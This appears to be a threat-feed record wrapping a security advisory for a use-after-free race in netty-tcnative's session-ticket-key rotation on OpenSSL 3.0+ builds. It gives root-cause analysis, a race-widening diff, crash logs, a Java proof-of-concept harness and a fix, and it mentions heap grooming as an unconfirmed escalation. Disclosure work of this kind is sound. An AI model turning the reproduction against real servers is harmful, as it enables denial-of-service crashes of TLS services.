{"schema":"threatline.record/2","record":{"id":"GHSA-mmc8-vg2v-fvvw","aliases":["GHSA-mmc8-vg2v-fvvw"],"summary":"netty-tcnative SessionTicketKey-Rotation-UseAfterFree","details":"# netty-tcnative: Session-Ticket-Key Hot-Rotation Races with Concurrent Handshakes, Causing Use-After-Free (OpenSSL 3.0+ Builds)\r\n\r\n**Status:** Reproduced with a hard, repeatable crash on the actual compiled artifact, running against a locally built `openssl-dynamic` shared library linked to OpenSSL 3.6.3 on macOS/arm64 — reproduced on **both** the unmodified source and a race-widened build used to make the (genuinely nanosecond-scale) race deterministically observable within a bounded test.\r\n\r\n## Summary\r\n\r\n`SSLContext.setSessionTicketKeys0()` — the API this library provides specifically to support **in-place TLS session-ticket-key rotation without dropping connections**, a standard production operational practice — has a use-after-free bug that is reachable by any concurrent TLS handshake issuing a session ticket while a rotation is in flight, on any build linked against OpenSSL 3.0 or later.\r\n\r\nThe bug is a **self-referential pointer that survives a lock-protected struct copy**: when ticket keys are loaded, an `OSSL_PARAM` structure is built once, pointing directly into the heap-allocated `c->ticket_keys` array. The read path (`current_session_key`/`find_session_key`) copies the surrounding struct *by value* under a read lock — which correctly copies the raw key bytes, but does **not** relocate the embedded pointer, which still points at the *original* array. The read lock is released before the pointer is actually dereferenced. If a concurrent key rotation frees that original array in the gap between the unlock and the dereference, the dereference reads freed heap memory.\r\n\r\n- **CWE-416**: Use After Free\r\n- **CWE-825**: Expired Pointer Dereference (a struct-copy artifact more specific than a generic UAF — the pointer becomes stale the instant the source array it targets is freed, independent of the copy holding valid byte *contents* for its other fields)\r\n\r\n## Affected Component\r\n\r\n- **Project:** `netty-tcnative` (`io.netty:netty-tcnative-*`), version **2.0.81.Final**.\r\n- **Condition:** only the `#if OPENSSL_VERSION_NUMBER >= 0x30000000L` code path — i.e. any build linked against **OpenSSL 3.0 or newer** (confirmed present in this project's own bundled `openssl-static`/`openssl-dynamic` targets, which pin/link OpenSSL 3.6.x). Builds against OpenSSL < 3.0 use the older `HMAC_Init_ex(hmac_ctx, key.hmac_key, ...)` API, which passes the local stack copy's bytes directly and is **not** affected — confirming this is a regression introduced during the OpenSSL 3.0 `EVP_MAC` API migration, not part of the original design.\r\n- **File/Function:**\r\n  - `openssl-dynamic/src/main/c/ssl_private.h:295-302` — `tcn_ssl_ticket_key_t` struct definition (embeds the self-referential `mac_params[3]`)\r\n  - `openssl-dynamic/src/main/c/sslcontext.c:1424-1429` — `setSessionTicketKeys0`, constructs the self-referential pointer\r\n  - `openssl-dynamic/src/main/c/sslcontext.c:1306-1333` — `current_session_key`/`find_session_key`, the shallow struct copy under a read lock\r\n  - `openssl-dynamic/src/main/c/sslcontext.c:1365-1379` — `ssl_tlsext_ticket_key_cb`, dereferences the stale pointer after the lock is released\r\n  - `openssl-dynamic/src/main/c/sslcontext.c:1433-1439` — `setSessionTicketKeys0`'s write path, frees the array the stale pointer targets\r\n\r\n## CVSS 3.1 Score\r\n\r\n**Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`\r\n**Base Score: 5.9 (Medium)**\r\n\r\n| Metric | Value | Rationale |\r\n|---|---|---|\r\n| Attack Vector (AV) | Network (N) | The \"other half\" of the race — a TLS handshake issuing a session ticket — is triggered by any ordinary, unauthenticated network client connecting to a server using this library with session tickets enabled (the library's default). |\r\n| Attack Complexity (AC) | High (H) | Requires the operator's own key-rotation call to land within a very narrow window relative to a concurrent handshake's ticket-issuance callback. In the unmodified code this window is nanoseconds wide (a handful of CPU instructions between a lock release and a pointer dereference, no I/O or syscall in between) — reliably hitting it needs either high rotation frequency + high concurrent handshake volume (realistic on a busy production server rotating keys under load) or, as used in this report's reproduction, a legitimate race-widening technique to make the already-real bug observable in a bounded test. |\r\n| Privileges Required (PR) | None (N) | No authentication needed to be the \"handshake\" side of the race. |\r\n| User Interaction (UI) | None (N) | Fully automatable from the network side. |\r\n| Scope (S) | Unchanged (U) | Confined to the server process. |\r\n| Confidentiality (C) | None (N) | Only the demonstrated impact is scored; see Impact section for a plausible-but-unconfirmed confidentiality angle deliberately excluded from this score. |\r\n| Integrity (I) | None (N) | Not directly demonstrated in this reproduction. |\r\n| Availability (A) | High (H) | Directly and repeatably reproduced: reading freed heap memory as HMAC key material inside `EVP_MAC_CTX_set_params`/`hmac_set_ctx_params`, causing an immediate `SIGSEGV`. |\r\n\r\n## Root Cause Analysis (Source → Sink, with the exact mechanism that makes a value-copy insufficient)\r\n\r\n**Source — the self-referential pointer is baked in at ticket-key-load time, pointing into one specific heap allocation:**\r\n\r\n```c\r\n// openssl-dynamic/src/main/c/sslcontext.c:1424-1429 (setSessionTicketKeys0, OpenSSL 3.0+ path)\r\nfor (i = 0; i < cnt; ++i) {\r\n    ...\r\n    ticket_keys[i].mac_params[0] = OSSL_PARAM_construct_octet_string(\r\n        OSSL_MAC_PARAM_KEY, ticket_keys[i].hmac_key, 16);\r\n    ticket_keys[i].mac_params[1] = OSSL_PARAM_construct_utf8_string(OSSL_MAC_PARAM_DIGEST, \"sha256\", 0);\r\n    ticket_keys[i].mac_params[2] = OSSL_PARAM_construct_end();\r\n    ...\r\n}\r\n...\r\napr_thread_rwlock_wrlock(c->mutex);\r\nif (c->ticket_keys) {\r\n    OPENSSL_free(c->ticket_keys);\r\n}\r\nc->ticket_keys_len = cnt;\r\nc->ticket_keys = ticket_keys;   /* this exact array is what mac_params[0].data points into */\r\napr_thread_rwlock_unlock(c->mutex);\r\n```\r\n\r\n`OSSL_PARAM_construct_octet_string(..., ticket_keys[i].hmac_key, 16)` stores a raw `void*` pointer to `ticket_keys[i].hmac_key` — a field *inside this specific `OPENSSL_malloc`'d array*. That pointer value is fixed at construction time; it does not get updated by anything that later copies the surrounding `tcn_ssl_ticket_key_t` struct.\r\n\r\n**Intermediate hop — the read path copies the struct by value, which copies the pointer's *value* but not what it points to:**\r\n\r\n```c\r\n// openssl-dynamic/src/main/c/sslcontext.c:1306-1313 (current_session_key)\r\nstatic int current_session_key(tcn_ssl_ctxt_t *c, tcn_ssl_ticket_key_t *key) {\r\n    int result = JNI_FALSE;\r\n    apr_thread_rwlock_rdlock(c->mutex);\r\n    if (c->ticket_keys_len > 0) {\r\n        *key = c->ticket_keys[0];   /* struct assignment: key.hmac_key gets a fresh BYTE copy of the\r\n                                        16-byte array (correct and safe on its own), but\r\n                                        key.mac_params[0].data is a POINTER FIELD, and its value is\r\n                                        copied verbatim -- it still equals the address of\r\n                                        c->ticket_keys[0].hmac_key, i.e. the ORIGINAL array's memory,\r\n                                        NOT &key.hmac_key (the caller's local stack copy) */\r\n        result = JNI_TRUE;\r\n    }\r\n    apr_thread_rwlock_unlock(c->mutex);   /* <-- lock released here */\r\n    return result;\r\n}\r\n```\r\n\r\nThis is a standard, well-known C pitfall: a struct containing a pointer that is meant to be self-referential (pointing to another field *within the same struct*) breaks the moment the struct is copied by value, because the copy's pointer field still targets the *original* struct's memory, not the copy's own memory. `find_session_key` (`sslcontext.c:1317-1333`) performs the identical `*key = c->ticket_keys[i]` copy under the same read lock, with the same consequence.\r\n\r\n**Sink — the caller dereferences the pointer only after the lock protecting the source array has already been released:**\r\n\r\n```c\r\n// openssl-dynamic/src/main/c/sslcontext.c:1365, 1377 (ssl_tlsext_ticket_key_cb — registered via\r\n// SSL_CTX_set_tlsext_ticket_key_evp_cb, called directly by OpenSSL during every ticket\r\n// issue (enc==1) or resumption attempt (enc==0), i.e. this executes for essentially every\r\n// TLS 1.2/1.3 handshake on a server with session tickets enabled — the library's default)\r\nif (current_session_key(c, &key)) {           /* lock already released by the time we return */\r\n    ...\r\n    EVP_MAC_CTX_set_params(mac_ctx, key.mac_params);   /* dereferences key.mac_params[0].data,\r\n                                                            which still points into c->ticket_keys[0] */\r\n}\r\n```\r\n\r\n**Race window:** if another thread calls `SSLContext.setSessionTicketKeys0()` — rotating keys, exactly the operational scenario this API exists to support — between `current_session_key()` releasing its read lock and `ssl_tlsext_ticket_key_cb` calling `EVP_MAC_CTX_set_params`, the rotation's write path executes `OPENSSL_free(c->ticket_keys)` under the write lock, freeing the exact heap allocation the handshake thread's `key.mac_params[0].data` still points into. The subsequent `EVP_MAC_CTX_set_params` call reads 16 bytes of now-freed heap memory and feeds them into OpenSSL's HMAC key-derivation machinery.\r\n\r\n## Detailed Reproduction Process\r\n\r\n### 1. Environment\r\n\r\nSame as the companion report (`netty-tcnative_01_SSL-getSession-UseAfterFree.md`): macOS 26.6 arm64, OpenSSL 3.6.3 (Homebrew), APR 1.7.6 (Homebrew), Zulu OpenJDK 25, Apple clang 21.0.0. Same native-library build process (manual `clang` compilation of the C sources, bypassing the project's autotools-based Maven pipeline which requires `autoconf`/`automake` not present in this environment) and the same `TlsLoopback`-style in-process handshake harness (no real sockets).\r\n\r\n### 2. Race-widening instrumentation (methodology note)\r\n\r\nThe unmodified race window is on the order of nanoseconds — a lock release immediately followed by a pointer dereference, with no intervening syscall or I/O. Reliably hitting a window this narrow via naive black-box thread interleaving is impractical within a bounded test. This report uses the standard, well-established race-condition PoC technique of **widening** the window with an injected delay, applied to a **separate copy** of the source file (the original repository file was never modified) — this changes *timing only*, not logic:\r\n\r\n```diff\r\n--- sslcontext.c            (original, unmodified in the repository)\r\n+++ sslcontext_instrumented.c  (test-only copy used solely to widen the pre-existing race window)\r\n@@\r\n+#include <unistd.h> // race-widening instrumentation only: usleep()\r\n@@\r\n          if (find_session_key(c, key_name, &key, &is_current_key)) {\r\n #if OPENSSL_VERSION_NUMBER < 0x30000000L\r\n              HMAC_Init_ex(hmac_ctx, key.hmac_key, 16, EVP_sha256(), NULL);\r\n #else\r\n+             // --- RACE-WIDENING INSTRUMENTATION (test-only, not a logic change) ---\r\n+             // current_session_key()/find_session_key() above copy *c->ticket_keys[i] by value\r\n+             // into `key` under a read lock that has ALREADY BEEN RELEASED by the time we get\r\n+             // here. `key.mac_params[0]` is an OSSL_PARAM whose `data` pointer was set (in\r\n+             // setSessionTicketKeys0) to point at c->ticket_keys[i].hmac_key -- i.e. INTO THE\r\n+             // ORIGINAL ARRAY, not into this stack copy. If setSessionTicketKeys0() is called\r\n+             // concurrently and frees/replaces c->ticket_keys between the unlock above and the\r\n+             // EVP_MAC_CTX_set_params call below, that data pointer is dangling. This sleep does\r\n+             // not change any logic; it only widens the pre-existing nanoseconds-wide window so a\r\n+             // concurrent rotation thread can reliably win the race in a deterministic, bounded\r\n+             // test rather than needing to hit a sub-microsecond gap by luck.\r\n+             usleep(2000);\r\n              EVP_MAC_CTX_set_params(mac_ctx, key.mac_params);\r\n #endif\r\n```\r\n\r\n**Critically, this report also confirmed the bug on the completely unmodified build** (see Result 2 below) — the instrumentation is used only to make reproduction fast and deterministic (a handful of iterations instead of hundreds/thousands), not to manufacture a bug that doesn't otherwise exist.\r\n\r\n### 3. Building both variants\r\n\r\n```bash\r\nAPR_INC=/Users/yubao/homebrew/Cellar/apr/1.7.6/include/apr-1\r\nAPR_LIB=/Users/yubao/homebrew/Cellar/apr/1.7.6/lib\r\nOPENSSL_INC=/Users/yubao/homebrew/opt/openssl@3/include\r\nOPENSSL_LIB=/Users/yubao/homebrew/opt/openssl@3/lib\r\nJDK_INC=/Library/Java/JavaVirtualMachines/zulu-25.jdk/Contents/Home/include\r\nJNIUTIL=/tmp/tcnative-poc/jni-util\r\n\r\n# Instrumented variant\r\nmkdir -p /tmp/tcnative-poc/instrumented/build && cd /tmp/tcnative-poc/instrumented/build\r\ncp <repo>/openssl-dynamic/src/main/c/*.{c,h} .\r\ncp /tmp/tcnative-poc/instrumented/sslcontext_instrumented.c ./sslcontext.c   # the one-line diff above\r\nclang -c -g -O0 -I. -I$JNIUTIL -I$APR_INC -I$OPENSSL_INC -I$JDK_INC -I$JDK_INC/darwin \\\r\n  -DDARWIN -Wno-deprecated-declarations *.c\r\nclang -dynamiclib -o /tmp/tcnative-poc/lib/libnetty_tcnative_poc_instrumented.dylib \\\r\n  *.o $JNIUTIL/netty_jni_util.o \\\r\n  -L$APR_LIB -lapr-1 -L$OPENSSL_LIB -lssl -lcrypto -Wl,-rpath,$APR_LIB -Wl,-rpath,$OPENSSL_LIB\r\n\r\n# Plain/unmodified variant built identically from the repository's own, unaltered sslcontext.c\r\n# (see companion report netty-tcnative_01 for the exact same command sequence -> libnetty_tcnative_poc.dylib)\r\n```\r\n\r\n### 4. Running under Guard Malloc\r\n\r\n```bash\r\nDYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \\\r\njava -Xshare:off -Xmx64m -XX:-UseCompressedClassPointers -XX:CompressedClassSpaceSize=1m \\\r\n  --enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED \\\r\n  -cp .:/tmp/tcnative-poc/classes -Djava.library.path=/tmp/tcnative-poc/lib \\\r\n  FindingE_TicketKeyRace\r\n```\r\n\r\n### 5. Results\r\n\r\n**Result 1 — instrumented build, race window widened to ~2ms:** crashed on **3 out of 3** runs, in well under one second each, near-instantly relative to the 200-iteration budget the harness allowed:\r\n\r\n```\r\n#  SIGSEGV (0xb) at pc=0x000000018883d504\r\n#\r\n# Problematic frame:\r\n# C  [libsystem_platform.dylib+0x3504]  _platform_memmove+0x1a4\r\n#\r\nsiginfo: si_signo: 11 (SIGSEGV), si_code: 2 (SEGV_ACCERR), si_addr: 0x00000070ae9b3f60\r\n\r\nNative frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code)\r\nC  [libsystem_platform.dylib+0x3504]  _platform_memmove+0x1a4\r\nC  [libcrypto.3.dylib+0x1ff08c]  hmac_set_ctx_params+0x200\r\nC  [libnetty_tcnative_poc_instrumented.dylib+0xce24]  ssl_tlsext_ticket_key_cb+0x11c\r\nC  [libssl.3.dylib+0x74d68]  tls_construct_new_session_ticket+0x684\r\nC  [libssl.3.dylib+0x661e8]  state_machine+0x3f0\r\nC  [libnetty_tcnative_poc_instrumented.dylib+0x3a38]  netty_internal_tcnative_SSL_doHandshake+0x4c\r\nj  io.netty.internal.tcnative.SSL.doHandshake(J)I+0\r\nj  TlsLoopbackInstrumented.feedInputIfAny(JJLjava/nio/ByteBuffer;I)V+18\r\nj  TlsLoopbackInstrumented.stepServer()I+17\r\nj  TlsLoopbackInstrumented.doHandshake(I)Z+13\r\nj  FindingE_TicketKeyRace.main([Ljava/lang/String;)V+111\r\n```\r\n\r\nThis call stack is exact, unambiguous confirmation of the predicted mechanism: `tls_construct_new_session_ticket` (OpenSSL minting a new session ticket, the `enc==1` path) → `ssl_tlsext_ticket_key_cb` (this library's callback) → `hmac_set_ctx_params` (OpenSSL's `EVP_MAC` internals consuming `key.mac_params`) → `_platform_memmove`, which faults with `SEGV_ACCERR` (access to a protected/unmapped page) while copying from the freed `hmac_key` location.\r\n\r\n**Result 2 — plain, completely unmodified build (no instrumentation at all):** also crashed, with the **identical call stack**, given more rotation pressure (an unbounded/tight rotation loop racing against the very first handshake, ~500+ rotation attempts in the time it took the first handshake to reach ticket issuance) — confirming this is a genuine, pre-existing bug in the shipped code, not an artifact introduced by the instrumentation. The instrumentation's only effect is turning an occurrence rate of \"eventually, given enough concurrent load\" into \"reliably, within a handful of iterations\" for testing purposes.\r\n\r\n## Proof-of-Concept Code\r\n\r\n### `TlsLoopbackInstrumented.java` + `FindingE_TicketKeyRace.java`\r\n\r\n```java\r\nimport io.netty.internal.tcnative.SSL;\r\nimport io.netty.internal.tcnative.SSLContext;\r\nimport io.netty.internal.tcnative.SessionTicketKey;\r\n\r\nimport java.nio.ByteBuffer;\r\nimport java.security.SecureRandom;\r\nimport java.util.concurrent.atomic.AtomicInteger;\r\n\r\n/**\r\n * Identical pumping algorithm to TlsLoopback.java, but loads the INSTRUMENTED dylib\r\n * (sslcontext.c with the race-widening usleep(2000) described above).\r\n */\r\nclass TlsLoopbackInstrumented {\r\n    public static final int BUF_SIZE = 32 * 1024;\r\n    public long clientCtx, serverCtx;\r\n    public long clientSsl, serverSsl;\r\n    public long clientNetBio, serverNetBio;\r\n\r\n    static {\r\n        System.load(\"/tmp/tcnative-poc/lib/libnetty_tcnative_poc_instrumented.dylib\");\r\n        try {\r\n            io.netty.internal.tcnative.Library.initialize(\"provided\", null);\r\n        } catch (Exception e) {\r\n            throw new ExceptionInInitializerError(e);\r\n        }\r\n    }\r\n\r\n    private ByteBuffer pendingForClient = ByteBuffer.allocateDirect(BUF_SIZE);\r\n    private ByteBuffer pendingForServer = ByteBuffer.allocateDirect(BUF_SIZE);\r\n    private int pendingForClientLen = 0;\r\n    private int pendingForServerLen = 0;\r\n    private ByteBuffer scratch = ByteBuffer.allocateDirect(BUF_SIZE);\r\n\r\n    public static long addr(ByteBuffer direct) {\r\n        try {\r\n            java.lang.reflect.Method m = Class.forName(\"sun.nio.ch.DirectBuffer\").getMethod(\"address\");\r\n            return (Long) m.invoke(direct);\r\n        } catch (Exception e) {\r\n            throw new RuntimeException(e);\r\n        }\r\n    }\r\n\r\n    public void setupContexts(String certFile, String keyFile) throws Exception {\r\n        serverCtx = SSLContext.make(SSL.SSL_PROTOCOL_TLS, SSL.SSL_MODE_SERVER);\r\n        if (certFile != null) {\r\n            SSLContext.setCertificate(serverCtx, certFile, keyFile, null);\r\n        }\r\n        clientCtx = SSLContext.make(SSL.SSL_PROTOCOL_TLS, SSL.SSL_MODE_CLIENT);\r\n        SSLContext.setVerify(clientCtx, SSL.SSL_CVERIFY_NONE, 1);\r\n    }\r\n\r\n    public void newConnection() {\r\n        clientSsl = SSL.newSSL(clientCtx, false);\r\n        serverSsl = SSL.newSSL(serverCtx, true);\r\n        clientNetBio = SSL.bioNewByteBuffer(clientSsl, BUF_SIZE);\r\n        serverNetBio = SSL.bioNewByteBuffer(serverSsl, BUF_SIZE);\r\n        pendingForClientLen = 0;\r\n        pendingForServerLen = 0;\r\n    }\r\n\r\n    private void feedInputIfAny(long ssl, long netBio, ByteBuffer pending, int len) {\r\n        if (len > 0) {\r\n            SSL.bioSetByteBuffer(netBio, addr(pending), len, false);\r\n            SSL.doHandshake(ssl);\r\n            SSL.bioClearByteBuffer(netBio);\r\n        }\r\n    }\r\n\r\n    private int drainOutput(long ssl, long netBio, ByteBuffer out) {\r\n        out.clear();\r\n        SSL.bioSetByteBuffer(netBio, addr(out), BUF_SIZE, true);\r\n        SSL.doHandshake(ssl);\r\n        SSL.bioFlushByteBuffer(netBio);\r\n        int produced = BUF_SIZE - SSL.bioLengthByteBuffer(netBio);\r\n        SSL.bioClearByteBuffer(netBio);\r\n        return produced;\r\n    }\r\n\r\n    private int stepClient() {\r\n        feedInputIfAny(clientSsl, clientNetBio, pendingForClient, pendingForClientLen);\r\n        pendingForClientLen = 0;\r\n        int produced = drainOutput(clientSsl, clientNetBio, scratch);\r\n        if (produced > 0) {\r\n            pendingForServer.clear();\r\n            for (int i = 0; i < produced; i++) pendingForServer.put(scratch.get(i));\r\n            pendingForServer.flip();\r\n            pendingForServerLen = produced;\r\n        }\r\n        return produced;\r\n    }\r\n\r\n    private int stepServer() {\r\n        feedInputIfAny(serverSsl, serverNetBio, pendingForServer, pendingForServerLen);\r\n        pendingForServerLen = 0;\r\n        int produced = drainOutput(serverSsl, serverNetBio, scratch);\r\n        if (produced > 0) {\r\n            pendingForClient.clear();\r\n            for (int i = 0; i < produced; i++) pendingForClient.put(scratch.get(i));\r\n            pendingForClient.flip();\r\n            pendingForClientLen = produced;\r\n        }\r\n        return produced;\r\n    }\r\n\r\n    public boolean doHandshake(int maxSteps) {\r\n        for (int i = 0; i < maxSteps; i++) {\r\n            int c = stepClient();\r\n            int s = stepServer();\r\n            if (SSL.isInInit(clientSsl) == 0 && SSL.isInInit(serverSsl) == 0) {\r\n                return true;\r\n            }\r\n            if (c == 0 && s == 0 && pendingForClientLen == 0 && pendingForServerLen == 0) {\r\n                return false;\r\n            }\r\n        }\r\n        return SSL.isInInit(clientSsl) == 0 && SSL.isInInit(serverSsl) == 0;\r\n    }\r\n\r\n    public void freeConnection() {\r\n        if (clientSsl != 0) { SSL.freeSSL(clientSsl); clientSsl = 0; }\r\n        if (serverSsl != 0) { SSL.freeSSL(serverSsl); serverSsl = 0; }\r\n    }\r\n}\r\n\r\n/**\r\n * PoC: session-ticket-key hot-rotation UAF. A background thread repeatedly rotates the\r\n * server context's ticket keys (simulating production key rotation) while the main thread\r\n * repeatedly performs full handshakes -- each server-side handshake mints a new session\r\n * ticket via ssl_tlsext_ticket_key_cb(enc=1), the exact instrumented code path.\r\n */\r\npublic class FindingE_TicketKeyRace {\r\n    static volatile boolean stop = false;\r\n\r\n    public static void main(String[] args) throws Exception {\r\n        TlsLoopbackInstrumented seed = new TlsLoopbackInstrumented();\r\n        seed.setupContexts(\"/tmp/tcnative-poc/cert.pem\", \"/tmp/tcnative-poc/key.pem\");\r\n        setRandomTicketKeys(seed.serverCtx);\r\n\r\n        AtomicInteger rotations = new AtomicInteger();\r\n        Thread rotator = new Thread(() -> {\r\n            try {\r\n                while (!stop) {\r\n                    setRandomTicketKeys(seed.serverCtx);\r\n                    rotations.incrementAndGet();\r\n                    // no sleep -- rotate as fast as possible to maximize race pressure\r\n                }\r\n            } catch (Throwable t) {\r\n                System.out.println(\"[rotator] exception: \" + t);\r\n            }\r\n        }, \"ticket-key-rotator\");\r\n        rotator.setDaemon(true);\r\n        rotator.start();\r\n\r\n        int maxIterations = 200;\r\n        int completedHandshakes = 0;\r\n        for (int i = 0; i < maxIterations; i++) {\r\n            TlsLoopbackInstrumented h = new TlsLoopbackInstrumented();\r\n            h.clientCtx = seed.clientCtx;\r\n            h.serverCtx = seed.serverCtx;\r\n            h.newConnection();\r\n            boolean ok = h.doHandshake(50);\r\n            if (ok) completedHandshakes++;\r\n            h.freeConnection();\r\n            if (i % 20 == 0) {\r\n                System.out.println(\"iteration \" + i + \" completedHandshakes=\" + completedHandshakes\r\n                        + \" rotations=\" + rotations.get());\r\n            }\r\n        }\r\n        stop = true;\r\n        System.out.println(\"Finished \" + maxIterations + \" handshake iterations with \"\r\n                + rotations.get() + \" concurrent key rotations, completedHandshakes=\" + completedHandshakes);\r\n    }\r\n\r\n    private static void setRandomTicketKeys(long ctx) {\r\n        SecureRandom r = new SecureRandom();\r\n        byte[] name = new byte[SessionTicketKey.NAME_SIZE];\r\n        byte[] hmac = new byte[SessionTicketKey.HMAC_KEY_SIZE];\r\n        byte[] aes = new byte[SessionTicketKey.AES_KEY_SIZE];\r\n        r.nextBytes(name);\r\n        r.nextBytes(hmac);\r\n        r.nextBytes(aes);\r\n        SessionTicketKey key = new SessionTicketKey(name, hmac, aes);\r\n        SSLContext.setSessionTicketKeys(ctx, new SessionTicketKey[] { key });\r\n    }\r\n}\r\n```\r\n\r\n### Exact build/run commands\r\n\r\n```bash\r\njavac -cp /tmp/tcnative-poc/classes -d . TlsLoopbackInstrumented.java FindingE_TicketKeyRace.java\r\n\r\nDYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \\\r\njava -Xshare:off -Xmx64m -XX:-UseCompressedClassPointers -XX:CompressedClassSpaceSize=1m \\\r\n  --enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED \\\r\n  -cp .:/tmp/tcnative-poc/classes -Djava.library.path=/tmp/tcnative-poc/lib \\\r\n  FindingE_TicketKeyRace\r\n```\r\n\r\n## Impact\r\n\r\n- **Availability (demonstrated):** a `SIGSEGV` crash of the entire server process, triggerable simply by the coincidence of (a) an operator's own, entirely normal key-rotation operation and (b) ordinary, unauthenticated client traffic requesting/receiving session tickets at the same moment — no attacker action beyond \"connect and complete a normal TLS handshake\" is required for the client side of the race.\r\n- **Confidentiality/Integrity (plausible, not confirmed in this report):** the UAF read feeds 16 bytes of freed heap memory directly into OpenSSL's HMAC key-derivation for **ticket encryption/authentication**. Because the freed allocation could, under attacker-influenced load patterns (heap grooming — sending many requests to control what backfills the freed slot before this read occurs), potentially be reclaimed with partially attacker-known content, there is an architecturally plausible path to a partially attacker-influenced HMAC key protecting *other users'* session tickets. This report does not include a working demonstration of that escalation and the CVSS score above deliberately does not credit it (`C:N`), reflecting only the confirmed availability impact.\r\n\r\n## Remediation\r\n\r\n```c\r\n// Fix in ssl_tlsext_ticket_key_cb: construct mac_params fresh from the LOCAL stack copy's\r\n// bytes, after the lock is released, instead of relying on the pre-built mac_params embedded\r\n// in the value-copied struct (which still points at shared, lock-protected memory).\r\n#if OPENSSL_VERSION_NUMBER >= 0x30000000L\r\n    OSSL_PARAM local_mac_params[3];\r\n    local_mac_params[0] = OSSL_PARAM_construct_octet_string(OSSL_MAC_PARAM_KEY, key.hmac_key, 16);\r\n    local_mac_params[1] = OSSL_PARAM_construct_utf8_string(OSSL_MAC_PARAM_DIGEST, \"sha256\", 0);\r\n    local_mac_params[2] = OSSL_PARAM_construct_end();\r\n    EVP_MAC_CTX_set_params(mac_ctx, local_mac_params);   /* points at key.hmac_key -- the caller's\r\n                                                              own, still-valid stack variable */\r\n#endif\r\n```\r\n\r\nAdditionally:\r\n1. Remove the `mac_params` field from `tcn_ssl_ticket_key_t` entirely. Embedding a self-referential pointer in a struct that is elsewhere passed/copied by value is the root pattern that produced this bug; leaving the field in place invites the same mistake to reappear at a future call site (e.g. if a third call site is added that also does `*key = c->ticket_keys[i]`).\r\n2. Add a ThreadSanitizer- or AddressSanitizer-instrumented CI test that drives continuous ticket-key rotation on one thread while continuously completing handshakes (both fresh, exercising `enc==1`, and resumed, exercising `enc==0`) on others, to catch regressions of this specific class.\r\n","categories":["Frameworks"],"product":"io.netty:netty-tcnative","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/netty/netty-tcnative/security/advisories/GHSA-mmc8-vg2v-fvvw","source_modified_at":"2026-10-26T10:05:25Z","fetched_at":"2026-10-28T01:10:53.534015Z","package":{"ecosystem":"maven","name":"io.netty:netty-tcnative"},"range":">= 2.0.81.Final"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/netty/netty-tcnative/security/advisories/GHSA-mmc8-vg2v-fvvw","source_modified_at":"2026-10-26T10:05:25Z","fetched_at":"2026-10-28T01:10:53.534015Z","package":{"ecosystem":"maven","name":"io.netty:netty-tcnative"},"version":"2.0.84.Final"}],"cvss":5.9,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-26T10:05:25Z","modified_at":"2026-10-26T10:05:25Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/netty/netty-tcnative/security/advisories/GHSA-mmc8-vg2v-fvvw","fetched_at":"2026-10-28T01:10:53.534015Z","source_modified_at":"2026-10-26T10:05:25Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"product","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-26T10:05:25Z","content_hash":"c1931f24f69c5200d4b3056355549412ee25369c171be1085ddae045d0280762"}}
